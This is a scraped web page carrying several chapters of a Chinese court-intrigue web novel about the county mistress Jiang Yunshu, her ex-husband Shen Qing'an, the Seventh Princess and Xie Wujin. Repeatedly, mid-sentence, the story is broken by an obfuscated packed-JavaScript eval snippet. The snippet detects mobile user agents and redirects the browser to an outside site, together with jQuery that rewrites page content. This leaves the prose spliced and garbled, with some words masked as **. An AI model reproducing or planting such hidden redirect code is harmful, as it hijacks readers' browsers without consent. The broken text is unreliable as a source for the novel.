店是关了,可仓库里还有之前好不容易从岩城运过来的药材,一仓库的药材,若是没有人接手,就得放着发霉,沈清安原本是想着再送回岩城,可偏右赶上春天的雨季。 沈清安此时面色阴郁,眉头皱起,下意识看向姜云舒。 “我还有事要处理,先走一步。” 姜云舒并未给他开口的机会,转身往外走。 沈清安的一句话卡在喉咙里,脸色比刚才更难看了几分。 原以为,姜云舒肯来,自是对他还有几分情分,如今正好趁着这个机会提及药材一事,他再放低姿态,说不定姜云舒便收了,可她竟连让他开口的余地都不留。 呵,高高在上的县主,她真以为只凭着这么一个名头便能在京城安身立命? 等那位大人回京,他沈清安的好日子才开始,届时便是她跪着求回到他身边,也得看他高兴不高兴! 自沈家离开,姜云舒和月禾上了马车。 放下马车的窗帘,月禾转过身看向姜云舒,清亮的眸中似是有不解。 “小姐,既然现在有了范围,我们自己也能查,让高芝兰做内应,还不如让她做人证,咱们直接去京兆府告他骗婚。” 就算已经离开沈家,可骗婚这件事总归是没咽下的一口气,绝不可能放过这个**子。 第208章 生病,**? 姜云舒倚在身侧的软垫上,眯着眼睛看月禾。 “高芝兰现在的处境还不至于到绝路,此时她最为敏感,她会衡量,没了沈家,她也得不到任何好处,她不会自掘坟墓的。” 这话说得月禾就更不明白了。 “那小姐为何还要让她去查?” “不着急,等局面乱成一锅粥,才好让沈清安趁热喝下!” 正说着,姜云舒似乎想到什么,忽然朝马车外吩咐一声、 “去皇宫!” 师父已经进宫三日,虽说并没有任何不好的消息传出,可没见到人,姜云舒心里总是不踏实。 一炷香后,皇宫门口。 姜云舒正在昭阳宫外等召见时,身后传来一个抬高的声音。 “哟,我当时谁,原来是乐安县主!” 声音传入耳中时,人也到了跟前,姜云舒抬头,就见七公主一身艳丽装扮到了跟前。 相比三皇子继承了皇后的骁勇,七公主却是将心思都放在了装扮和那张脸上。 不得不承认,七公主随了皇后和皇上容貌上的优点,尤其那双眼睛如含波的春水,撩拨人心,只可惜,那水漾太满,缺了皇后独有的英气。 此时七公主到跟前,视线在姜云舒身上扫过,嗤笑一声。 “定国将军府倒了,你竟然还能随意进出皇宫,姜云舒,你不觉着你自己很碍眼吗?” 姜云舒抬头,视线同样在七公主身上扫过,勾起唇角。 “臣并不觉得,能进出皇宫是皇上给臣的殊荣,就像七公主之所以身份尊贵,也是因为皇上给了你这个身份。” 这话往大里想,所有人的恩宠殊荣,都是源于皇上的恩赐,姜云舒之所以为县主,七公主之所以为公主,从本质上是一样的。 七公主一时间被噎了一句,反驳不了便朝姜云舒瞪眼,“所以,你进宫来见母后是为了什么!” “看望薛神医。”姜云舒如实回答。 “薛神医?” 七公主楞了一下,忍不住轻笑出声,“姜云舒,你该不会是想请薛神医去你那个小小的药铺坐诊吧?太医院都入不了她的眼,她还能瞧得上你那药铺?你少在这里白日做梦了!” 姜云舒扭头,瞧她笑得肆意,并未辩解,这时,内侍太监出来传话,召姜云舒和七公主入殿。 七公主白了姜云舒一眼,抢先一步往里走,两人一前一后进了大殿,上前行礼。 “儿臣参见母后!” 七公主行礼,随即又看向薛神医,朝她浅浅一委身,“薛姨。” “姨?” 姜云舒一时间诧异,下意识看向薛神医。 这个称呼倒是她没想到的。 她和皇后得是什么关系,才能让七公主喊她姨? 可明明都是可以称姐妹的关系了,为什么师父提及皇后时,脸色总会不着痕迹的阴沉几分? 姜云舒想不明白,此时也没有时间多想,上前行礼。 “臣参见皇后娘娘!” 随即抬头朝薛神医看一眼,同样行了一个长辈礼,“徒儿见过师父。” 当初师父来京城时,并没有要隐藏她们关系的意思,此时在皇后面前,也没有遮掩的余地。 “师父?” 七公主倒是先忍不住惊呼一声,瞪大眼睛看向姜云舒,“姜云舒,你叫谁师父!” 姜云舒没有说话,只是眼神看向薛神医。 七公主的表情都裂开了。 当初她想做京城上层夫人千金们的生意,准备开创一个专门用于皮肤养护,延缓衰老的药妆店,便求着皇后跟薛神医说情要做徒弟,可薛神医却拒绝了。 母后的话都没用,凭什么姜云舒却能做她的徒弟! 此时七公主看向姜云舒的眼神之中更添了一层嫉恨! 谢无烬也就算了,为什么连薛姨都偏爱她,一个罪臣之女,还是嫁过人的,凭什么所有人都喜欢她! “咳!” 皇后轻咳一声,给七公主使了个眼色,随即又看向姜云舒,“不过是来宫里小住几日,你紧张什么,本宫还能吃了你师父不成?” “臣不敢!” 姜云舒紧忙行礼,“只因师父要常年吃药,此前进宫匆忙,随身的行礼并未带上,臣过来是送药。” 说着,她抬手,将一个小药瓶拿出来。 嬷嬷上前接过,正要转手递给薛神医,却听皇后拦了一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215041|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拿过来给本宫看看。” 嬷嬷转身,将药瓶送到皇后跟前,皇后打开瓶塞凑近闻了闻,略带震惊地看向薛神医。 “你血压高?” 当年太后血压高,是薛天姿制作了控制血压的药物交给皇后,这才让太后松了口,同意皇上更改了后位之主。 这药她再熟悉不过,可是薛天姿什么时候也…… 薛神医垂眸,嘴唇紧抿了一下又松开,“没什么,年轻时落下的病。” “年轻”这两个字人让皇后的脸色微微变化,片刻,她叹一口气。 “罢了,她都找过来了,想来也是想你想得紧,你便随她回去吧。” “母后!” 七公主下意识开口阻拦。 好不容易才将薛神医请来了宫里,凭什么姜云舒一出现救给人带走了? 七公主想求的事情还没成,自然不甘心,然而,话还没说,却被皇后一个眼神制止。 “草民告退。” “臣告退。” 姜云舒和薛天姿向皇后行礼,随即离开。 红瓦高墙,青石砖铺路,姜云舒和薛天姿一路朝着皇宫门口走去,两人谁都没说话。 似是在刚才与皇后的谈话中触发了什么不愉快的回忆,薛天姿的脸色不怎么好看。 姜云舒瞧着她面色阴沉,犹豫了一路,在出宫门时,还是没忍住问出了口。 “师父,您这到底是什么病?” 姜云舒知道薛神医常年用药,看她十几年未有变化,只当是养颜保持青春的滋补药物,可看刚才皇后的表情,似乎并不是。 “不是什么严重的病,只要吃药就没事。”薛神医回道。 这回答并未解除姜云舒的疑惑,她侧着脸看她,又问,“是**?” 听说,像师父这种常年与药物接触之人,身上难免沾染上什么毒。 “不至于,只是自身的毛病。” 薛神医应着,扭头朝姜云舒看一眼,有些后悔当时离开匆忙,没多教她医术。 姜云舒瞧见薛神医眼中的情绪,犹豫了一下,还是开了口。 “师父,你年轻时是不是受过什么重伤?跟……皇后有关系?” 第209章 你喜欢他吗 从大义来说,皇后当年率兵拯救大瑞朝百姓于水火,是姜云舒敬仰之人,从私下相处来说,后宫之人,为的都是各自利益,她虽看不惯三皇子的行事行径,但与皇后无关。 可刚才师父和皇后一番谈话之间,姜云舒隐约感觉到皇后眼中若有似无的愧疚,难不成,当年师父离开京城是因为皇后? 师父该不会也对皇上倾心吧? 皇上可是比师父大了十岁,一个老头,有什么好倾心的! 薛神医还没回答,姜云舒已经在心里排了一出大戏,瞧着她多变的表情,薛神医依旧只是叹一口气。 “以前的事情不提了。” 两人说着便到了皇宫门口,姜云舒抬头楞了一下,没想到等在门口的是谢无烬。 见来那个人出来,谢无烬上前一步,对着薛神医行了一礼。 “薛神医。” “谢世子。” 薛神医还礼,视线在谢无烬身上打量,却未再多说。 谢无烬也不动声色,只是不着痕迹的朝姜云舒眨眨眼睛,那意思:这算是见了娘家人吧? 姜云舒回给他一个复杂的眼神。 “皇宫门口不便久留,有什么话回去再说吧。” 薛神医淡淡开口,随着谢无烬上了马车。 进了马车,薛神医的视线落在两侧座位上,靠背处垫的厚厚一层软垫,看起来,不是让人坐,而是让人躺着的,是姜云舒的习惯。 “师父肯定累了,回去还要半个时辰,您先歇一歇。”姜云舒解释一般,扶着薛神医坐下。 薛神医收回视线转身坐稳,随着外面车夫的鞭子在空中打了个响,马车晃晃悠悠动了起来。 马车里,薛神医问及沈家的事情,姜云舒犹豫了一下,还是如实说了。 “你父亲既然提前将你大嫂送回恭王府,想来是早就做了准备,事情在他的掌控之中,你不必过于担心。” 说着,薛神医从腰间拿出一块玉佩。 “当年我游医之时,曾在机缘巧合之下救了如今崖州钟太守老娘的性命,他将这玉佩送于我,这算是一个人情,你若需要便将它寄给你父亲,或许能有一用之地。” “师父……” 姜云舒眼神闪了一下,尚未开口,薛神医已经将玉佩塞进了她手里。 “我如今年纪也大了,不再四处游医,想来与钟太守再无见面缘分,这东西交给你父亲反而有用。” “是,多谢师父。” 姜云舒将玉佩收进了衣袋,转手,轻车熟路的从旁边格子里拿出一个盒子,打开,里面的点心还带着热乎气儿。 “师父,快尝尝,这个厨子做的北域点心很正宗!”她献宝一般往薛神医跟前递了递。 薛神医低头瞧着那熟悉的点心,伸手拿起尝了一口,看向姜云舒。 “他对你倒是上心。”她道。 姜云舒顿了一下,有种被人戳中小心思的羞意,酡红一时间染上了脸颊。 “他好像也挺喜欢北域的口味。”姜云舒打哈哈。 “喜欢口味,还是喜欢人,你自有衡量。”薛神医看她,“阿舒,你对这位谢世子,是什么想法?” 刚从一个深渊之中抽身,她不希望姜云舒再被伤害。 姜云舒自然明白师父的担心,蹙眉想了想,诚实回答,“算是藕断丝连吧。” 面对师父,她并不想违心回答对谢无烬没有感觉,可两人之间还不到真心交付的地步。 “所以,你动心了。”薛神医眼皮抬了抬。 姜云舒恍然看向薛神医,脑子里有一瞬间的空白。 喜欢吗? 以前,第一次看到沈清安那张脸时,她第一次觉得一个男人能长成他那般相貌,不似父兄身上带着杀伐之意,好看得让人忍不住一直看,好看到让她有种想要守护的感觉。 她以为,愿意靠近,愿意保护一个人便是喜欢。 可漂亮的东西大家都喜欢,除去这个先行设定,三年之后再相见,她忽然发现,当初那种想要将他留在身边的冲动已经没有了。 不是因为高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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月禾接过姜云舒用完的手巾,转手又跟着到了铜镜边上,“昨日过来就将他拦在门口没让进,什么意思还不够明显吗?想来最近也是没用心,竟然让他有了空闲!” 第210章 聪明反被聪明误 姜云舒微微垂眸,瞧着镜子里的自己,幽幽开口。 “乐无忧是在放长线,沈清安这种人,赶狗入穷巷才能将他的话逼出来。” 月禾似懂似不懂,抬头看一眼铜镜之中,手上动作加快。 姜云舒没让沈清安进来,众人也就默认将沈清安挡在外面,甚至,郭攀还搬了个椅子,坐在大门口盯着他。 沈清安瞧着郭攀盯贼一样,当即脸上带起了怒意,明明是他沈家的下人,如今竟敢这样对他! 真是世态炎凉,狗眼看人低! 郭攀不语,脸上依旧带着那招牌的笑容,眼睛一瞬不瞬的盯着他。 片刻之后,姜云舒梳洗结束,随着厨娘端来早晨的膳食,简单用了几口,这才往外走,谁知刚到大门口,沈清安瞬间收敛满脸的憋屈,迎了上来。 “阿舒,你终于出来了!”沈清安扯着嘴角,脸上的笑略带僵硬。 姜云舒似是才注意到,略显差异地瞥了他一眼。 “沈大人,这么早便来我县主府,可是有什么要事?” 这个时间点,也不过是刚刚下朝,沈清安不忙着去处理公务,却来县主府,可真是够闲的。 沈清安明显听出姜云舒言语之间的嘲讽,表情尴尬地滞了滞,转而问:“这么早出门,你这是要去哪里?” 平常深宅夫人小姐们出门的时间都不会太早,便是宴会节日出门,也都在晌午之前才到,姜云舒这种,实在是不多见。 “清风村。”姜云舒不咸不淡的回了一句。 “哎呀,正好,我也是要去清风村的,不如我们一同前往……” 话还没说完,姜云舒忽然扭头看他,“我这个时辰去清风村是因为最近天气变化,村里的老人孩子多发咳病,沈大人要去清风村,可是来送药的?如此善举,我可是要让村长记上一笔的。” 一句话,将沈清安给架了起来。 他不是还有一批没地方处理药材吗,正要送来清风村,届时还能给他一个好名声。 然而,这话就像剜沈清安的肉,那张脸上的笑容当时就挂不住了。 “我不知清风村的境况,若是早几日,你既然说了,我定然是要将药材送过去的,可如今库房里的药材已经运走,实在没剩下。”他一脸为难。 运走了? 姜云舒眸光一闪,“当时在沈宅听了一耳朵,不是说最近雨水多,唯恐路上受潮吗?” 沈清安扯了扯嘴角,“走的是水路。” 他一边说着,视线落在姜云舒脸上。 当初已经给了她信号,价格低一些也能倒给她,可她偏偏不抓住机会,如今药材已经清了库存,她在想要低价收入可是没有了。 然而,姜云舒此时的表情变化并不在于低价买不到药材,而是,这个时候沈清安能走水路。 之前他能从岩城运来药材,是姜云舒动用了自己的路线,以乐无忧的名义运输的,这一次,她可没有收到任**息。 没有经过她,那他只能是从似锦郡主下手了,他用似锦郡主的消息换来大长公主的运输线路。 不得不说,沈清安在一些绝地,还真有几分冲出绝境的本事,只是,冲出绝境之后,走的到底是活路还是思路,那就不好说了。 沈清安瞧着姜云舒脸上表情变化,往前凑了凑,“阿舒,我今日专门来找你,是真心想与你做一桩生意。” “生意?”姜云舒扭头看他,忍不住嗤笑出声,“沈清安,我们连一家人都做不了,你还想与我做生意?” 做生意讲究的是诚信,连家人关系都不能维持,对于双方何来诚信? 一句话,说得沈清安面色稍稍紧绷,他扯了扯嘴角,紧忙开口。 “我是想与你做一家人的,只是以前是我处理不得当,伤了你的心,你若愿意,我……” 话还没说完,姜云舒几乎能猜到他后面的意思,当即不耐烦地打断。 “听说,南疆王府有一位出逃的郡主到了京城,近日,沈大人和她走得很近,既然有了新人,沈大人还是专心一点吧!南疆王府门第规矩颇多,可不是郡主一句喜欢就能为你敞开大门的。” 这话听起来毫无波澜,可字字句句进了沈清安的耳朵,冲击着他的自尊心。 当初,便是姜云舒一句“喜欢”,定国将军府便给他敞开了大门,沈清安更是凭借着高枝到了如今这个位置,现在他又去攀南疆王府的高枝,见人家可未必看得上他。 沈清安一时语塞,神情微妙的看向姜云舒,片刻,脸上却都带了笑。 “阿舒,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时姜云舒倚在马车的软垫上,慢条斯理开口,“她出身北夷皇室,北夷先皇善笼络朝臣,后宫自然也是争斗激烈,成长于这种环境之下,她无需献身,也有办法让沈清安以为,他们在一起过。” 这话倒是将月禾松了一口气。 两人正说着,忽然眸光一凛,月禾猛地伸手掀开车帘,就见原本驾车的车夫已经晕了过去,毫无意识的靠在马车上! 第211章 抢人 “你,怎么是你!”月禾瞧见外面赶车的人,忍不住眼皮一翻。 姜云舒也随着声音往外看,正好与谢无烬扭头看过来的视线相遇,顿时一阵无语。 “谢无烬,你什么意思?”她没好气问。 谢无烬手里拉着缰绳,扭头朝姜云舒眨眨眼睛,吐出两个字。 “抢人!” 姜云舒甩给他一个白眼,抢人就抢人,何苦把车夫弄晕? 正吐槽,就见谢无烬手中鞭子朝上一扬。 “坐好了!” 姜云舒下意识往后靠了靠,又问:“你要带我们去哪里?” 大白天的在京城之中最繁荣的街道抢人,可真是闲的他。 “别问,去了就知道!” 谢无烬没给她再问的机会,拉紧了缰绳,马车瞬间飞奔起来。 马车虽快,但也很稳,姜云舒往回坐了坐,没再多问。 许是起的太早了,此时在马车稳定的晃动中,她逐渐迷迷糊糊,竟然在马车里就睡着了。 月禾本来还想吐槽一句,结果一扭头瞧见姜云舒呼吸都平稳了,无奈叹一口气,将手边的毯子给她盖上。 不得不说,回了京城可远比她们在北域时辛苦多了、 在北域,每日做的便是练功,带兵,操练,如今来了京城,除了练功,还要看账,平衡处理府上诸事,除了处理店铺中的诸多问题,如今还加了一个清风村,没一处都是要花费精力的。 虽说离开了沈家,可是每晚瞧着小姐那么晚才歇,也真不怪她有起床气。 马车晃晃悠悠朝着前方向行驶,也不知过了多久,速度慢了下来,晃晃悠悠停住。 大概是习惯了,马车停下的瞬间,姜云舒便醒了,她缓缓睁开眼睛回过神来的瞬间,忍不住有些懊恼。 明明说了是抢人,自己也不知要去什么地方,竟然还在马车里睡着了,什么时候开始,她对谢无烬这样信任了? 伸手掀开车帘朝外看,不由得楞了一下。 这地方她认识,万宝楼,三皇子的地界儿。 正想着,马车帘子掀开,谢无烬朝里面伸出手来。 “到了,下车吧!”他说。 姜云舒没好气地瞪他一眼,跟着下了车,抬头朝万宝楼的牌匾看去,她略带诧异开口。 “你带我来这里做什么?” 虽说是这里算不上什么勾栏瓦舍,可到底也多是男人消遣的地方,上次来她还换了男装,如今可是一身女装。 “万宝楼里好玩儿的可多了!”谢无烬一边说着,拉着姜云舒便往楼上走。 刚到二楼,正要与下楼的鸨母梅三娘遇上。 梅三娘楞了一下,视线落在姜云舒脸上。 平常这个时间上二楼的爷们儿都是来找姑娘的,自己带姑娘的还是头一回见。 不过到底是生意人,惊诧自眼中闪过之后,梅三娘脸上很快堆起了笑容。 “哟,两位贵人这么早过来,可是要听曲儿还是用饭啊?咱们万宝楼今日刚来了一批北夷舞姬,不光能跳舞,弹琴更是一绝,还有新来的厨子,那可是游历过四方的,除了咱京城,各国的口味都会,擎等您选。” 一边说着,她转身带着姜云舒和谢无烬朝雅间走去。 右边长廊边上视野最好的那间便是谢无烬日常定下的雅间,平常他过来都是在那里,可这一次,他却拦住了梅三娘。 “听说锦鲤堂的荷花开了,我们正好去摘星阁看花。” 说着,不等梅三娘再问,拉着姜云舒朝三楼走去。 梅三娘在后面瞧着两人拉在一起的手,唇角勾起一丝媚笑。 到底是渊政王府的世子,风流多情的很呢,为了博美人一下,选的可是万宝楼中最贵的雅间。 只是,这位姑娘看起来装扮素雅,一双眼睛灵动又透着一股说不上来的犀利,只是刚才与她眼神对视的一眼,便是梅三娘都下意识绷紧了神经。 这姑娘,应该是常年习武的,加上那一身的贵气,想来是出身将门世家。 而京城之中出身将门,又让渊政王府世子这般礼待的,恐怕也只有那位休夫的乐安县主了。 不愧是京城情报**之地,只一眼,梅三娘便猜出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229160|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜云舒的身份。 除此之外,刚才与姜云舒对视时,她恍惚见过那双眼睛,可是一时间又回想不起来。 梅三娘在后面揣测着,很快到了摘星阁。 梅三娘紧走两步上前将门打开,谢无烬便直接拉着姜云舒到了窗口。 窗户打开,垂首往下看,果然,这窗下正对着一片锦鲤池,五彩石镶嵌的锦鲤池中,荷花盛开,各色锦鲤在其中穿梭,真真是北方少见的景致。 姜云舒自幼在北域长大,更是不曾见过,灵动的眼中瞬间带了惊喜。 瞧着姜云舒满心欢喜的模样,谢无烬亦跟着勾了勾唇角,随即扭头朝梅三娘吩咐一声。 “吩咐厨子做一些北域的菜式,其中炙烤牛肉和莲花鱼不能少。” “哎,您二位稍等,奴家这便吩咐下去!”梅三娘紧忙收回视线,转身出门从外面关了门。 等房门一关,姜云舒便转过身来,视线落在谢无烬身上。 “说吧,你带我来万宝楼到底所为何事?我可不知道,我喜欢荷花。”她脸上笑意散尽,此时看向谢无烬的眼神带着审视。 从一开始踏进这万宝楼,遇上梅三娘,到一路引着她来这三楼的摘星阁,谢无烬都是有目的的。 “你这么聪明,可真是让我头疼!” 谢无烬无奈叹一口气,抬手给姜云舒倒茶,“你不喜欢荷花,但一会儿,肯定有喜欢的听的。” 听? 唱戏? 姜云舒眼睛半眯,她知道万宝楼有唱戏唱曲儿,但这个时间明显不对。 两人喝着茶,一会儿功夫,便有小二将菜送了上来。 两人相互配合做戏,只等小二将菜上齐,房门一关,谢无烬霎时收敛表情,转身将旁侧的通风窗户打开。 此时,一个熟悉的声音传了过来。 “姑母,您不要紧张,她如今平安。” 这话传入耳中,姜云舒目光不由得一滞,三皇子? 之前崇光寺一事,他不是被禁足一个月吗? 如今这才半个月不到,他怎么会出现在万宝楼? 第212章 三皇子的谋划 姜云舒没有发出声音,只是朝谢无烬比了一个“罪加一等”的姿势。 谢无烬一瞬间猜到她的意思,哼笑一声,抬手给她倒了一杯茶。 姜云舒接过杯盏还没喝,就听隔壁再次传来另一个人的声音。 “只要你能将锦姒救出,保证她平安无事,长明码头那条线我可以给你!” 这声音传来,姜云舒眼皮微微抬了一下,是大长公主。 谢无烬朝她点点头,确定了她的猜想。 “皇姑母何必见外,锦姒阿姐是孤血亲,她受苦,孤自然不能袖手旁观,孤也是前几日刚刚得了消息,原本想跟父皇禀报之后再做打算,可……怪孤疏忽,一招棋错,不止被禁足,还被收了兵权,如今想出力也是力不从心。” 说话的同时,倒茶的声音传来,随后三皇子接着说:“如今北夷正乱,新帝登基,二皇子下落不明,孤也是着实担心,才不得不通知姑母。” 三皇子言语之间,句句关系着血脉至亲,可又句句不离利益。 他的“力不从心”在于他被收了兵权,还被禁足,而不是将锦姒郡主的下落透露给大长公主。 所以,要想救锦姒郡主,就得请大长公主先满足他的要求。 锦姒郡主的下落是他握在手里的筹码,如今三皇子被收了京城兵权,在争夺赤羽军兵权之中就没了竞争力,他是想借大长公主的手,收拢当年驻留在北夷的三千兵力。 姜云舒低头抿着茶水,回想当年她去校练场时,指着一队与赤羽军分开的营队,问娘,为什么其他营队参练时,这一营队从不参加试炼。 当时娘朝那营队看过去,脸上的表情似带着几分说不上来的悲伤,她说,那是跟来保护锦姒郡主得。 后来姜云舒才知道,当初因为锦姒郡主和亲一事,大长公主和皇上闹得很僵,最后皇上为了补偿大长公主,便北夷驻留了这三千兵力。 这三千兵力是用来确保锦姒郡主安全的,并不参战,可一旦两国交战,守将便可调遣这三千兵力援救锦姒郡主,这股兵力一旦动用,之后会任凭领将调遣。 所以,最终是谁调遣了这股兵力,兵权便会落在谁手里。 姜云舒能明白的事情,大长公主自然也看得清,若是为了锦姒郡主,这股兵力最终归谁她也并不关心。 可偏偏前面还有个沈清安,他先用锦姒郡主的消息从大长公主这里得了好处,紧接着三皇子又凑上来,大长公主当初能在朝堂议事,又岂是他们能左右的? 姜云舒慢条斯理的喝着茶,果然,三皇子的话之后,有好长一段时间的空白。 半晌,大长公主的声音才传来。 “好在你已经有了锦姒的消息,想来在你的保护之下,她不会有什么意外,如今凤台山狩猎在即,城中内外兵力不宜调动,等凤台山狩猎结束,你若能将彩头的**猎来给我,这兵符便给你。” 大长公主言语平缓,却透着不容置疑的威压。 三皇子用锦姒郡主的消息做筹码想从她这里捞好处,她便用三皇子的要求反制回去。 身在皇家身不由己,可大长公主又岂是随意任人拿捏的?三皇子这点小聪明在大长公主面前真真是不够看的。 听到这里,对面的谈话也就停了,听到开门的声音,姜云舒收敛了神情,拿起筷子准备吃饭, 沈清安拿公筷帮她夹菜,见她吃得心满意足,压低了声音问。 “阿舒,如果我能将彩头的**猎来给你,你能不能答应我一个要求?” 刚才姜云舒听到“**”的瞬间,眼中光芒闪过,他便知道,凤台山狩猎,姜云舒是一定要跟三皇子抢这彩头了。 姜云舒闻言眼皮一掀,眸中警告之色一闪而过。 对面三皇子跟大长公主刚谈完条件,他转头就过来跟自己谈了? 谢无烬被她瞪得无奈,紧忙解释,“你放心,不会当成聘礼让你收下的,你知道的,我不会强迫你做不喜欢的事。” 听他这样说,姜云舒垂下眼皮,嘴里的肉咽下去,这才开口。 “等你先猎来了再说吧!” 凤台山狩猎,可是大瑞朝一年一度的重大节日,且不说三皇子,便是朝中武将都提早做准备,虽不得不承认谢无烬很强,可满朝武将之中,一山更有一山高,大话还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229161|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不好说。 许是意识到自己声音有些大,她下意识扭头朝墙边看去,视线在屋内转了一圈,又看向谢无烬。 “三皇子和大长公主在此谈这般机密之事,碰巧我们就在这个雅间,是你有把握三皇子不会怀疑,还是三皇子有把握不会被偷听?” 万宝楼可是三皇子的地界儿,他们商谈机密,周边屋子依旧接客,是确定不会被偷听,还是故意让人来偷听,这里面还有别的心思? 姜云舒正疑惑,却见谢无烬的手落在桌上,之间轻点桌面,发出“叩叩叩”的声音,下一瞬,就见旁边的墙皮动了,紧接着有什么东西与墙皮剥离,这才看清楚,竟然是几只蝴蝶。 “这是……”姜云舒震惊地瞪大眼睛。 都说淮南多异术,难不成谢无烬真的会操控? “这是淮南的扩音蝶。” 谢无烬抬手,便有扩音蝶飞落在他手上,他往姜云舒跟前推了推。 “万宝楼三楼墙面加厚,便是弹琴奏乐也不会影响到隔壁,正常情况下,三皇子他们说话的声音我们也听不到,是以三皇子会放心地商谈,但扩音蝶能透过墙壁将声音放大百倍。” “我倒是没听过淮南还有这样神奇的东西!”姜云舒一边说着,抬起手来,谢无烬手上的扩音蝶便落在了她的指尖。 不止音量扩大,这些蝴蝶自从墙面剥离之后,身上逐渐恢复了原本的颜色,是鹅黄色和淡蓝色交替的颜色,阳光之下,如同一个个小妖精一般。 谢无烬瞧她看得入迷,忍不住勾起唇角,抬手一个响指,扩音蝶便煽动翅膀朝着外面飞了出去。 姜云舒顿了一下,略显不满的看着他。 “扩音蝶有微毒,看看就算了,别长时间靠近。” 说着,他拿过姜云舒的手,用湿好的帕子仔仔细细给她擦。 姜云舒看着他,“你来京一趟,带了不少好东西呢。” “这有什么。” 谢无烬抬手给她夹了菜,声音带着蛊惑,“等你跟我回了淮南,还有更有趣的!” 他说的是“回”而不是“去”,其中深意,不言而喻。 第213章 民心 清早,随着晨曦的微光洒向天地,逐渐添了几分暖意。 姜云舒来到仁春堂时,大门口已经被百姓围了个结实。 “这又出了什么事?” 月禾下意识皱起眉头,上前一步,将姜云舒护在身后。 除了百姓,人群之中,一道鲜亮的色彩最为惹眼,姜云舒一眼瞧见那装扮艳丽之人,竟然是七公主。 姜云舒看七公主时,七公主正好也朝这边看过来,瞧见姜云舒的一瞬,嘲讽之意便从嘴角溢了出来。 “呵,什么京城第一药铺,什么医德仁心,如今被百姓堵了门,肯定然卖了假药。” 七公主无比笃定,说着,一抬手吩咐身边的侍卫,“去,通知京兆府,仁春堂卖假药!” 她的声音突兀地大起来,众人下意识往后看,脸上的表情有些迷茫。 不是,这是哪位? 刚才听她说话,似乎对仁春堂颇有意见,众人下意识想辩驳一句,可一抬头瞧见护在她身边的几位身体壮硕的侍卫,到了嘴边的话又咽了回去。 “七公主大清早来我仁春堂,可是有什么病吗?” 声音自身后传来,七公主猛然专线,就见姜云舒含笑站在她身后。 一句话,别人听起来是关切,可入了七公主的耳朵,嘲讽之意再明显不过。 “姜云舒,你!”七公主眼珠子一瞪,正要骂,却见原本围在门口的众人纷纷转身,朝着姜云舒的方向就跪了下来。 “哎呀,是县主!” “县主来了,多谢县主的救命之恩啊!” “多谢县主,县主大恩大德,草民没齿难忘!” 随着众人呼喊,纷纷朝着姜云舒跪拜。 姜云舒也是楞了一下,低头看着跟前那些人,这才认出来,竟是当时被疯狗咬伤的那几位伤患的家人,还有好利索的伤患。 而此时,七公主也傻眼了。 刚才众人那表情,那架势,不是要来**的吗? 怎么都朝姜云舒拜起来了? 正震惊着,就听人群之外传来一声冷喝。 “京兆府办案,闲杂人等闪开。” 百姓见官都带着几分怯意,听得喊声,原本跪在地上的众人纷纷起身,让开了一条路。 和往常巡街不同,今日来的竟然是京兆府尹邢恪。 到了跟前,邢恪先上前给七公主行礼,“臣,参见七公主!” “七公主?哎呀,原来这位姑娘是七公主啊!” 众人震惊的瞪大眼睛,反应过来,紧跟着跪了一地。 “参见七公主!” 同样是跪拜,和众人对姜云舒的感谢不同,七公主让人跪下的是她高高在上的身份。 “哼,免礼!”七公主一摆手,只是此时刚才那般高昂的气焰已经没了。 不是卖假药被人围了铺子,而是百姓来感谢。 邢恪之所以能在这京城做京兆府尹,为人变通,出事圆滑自然是有的,此时见七公主尴尬,便下意识忽略之前的“报官”,抬抬手示意关捕头。 关捕头紧忙上前,将手里准备的牌子往上一举。 “仁春堂医德仁心,危急时刻救伤患于水火之间,如今百姓联名情愿,京兆府特发仁德牌坊,赏银百两,以兹鼓励。” 牌子是百姓**颁发的,虽然不过一块不值钱的牌子,可对于繁荣街的商户来说,却是可遇不可求,眼巴巴也盼不来的东西。 “哎哟,多谢大人,多谢大家!”韩掌柜紧忙上前双手接过牌子。 此时又有衙役将银子送过来,姜云舒看向众人。 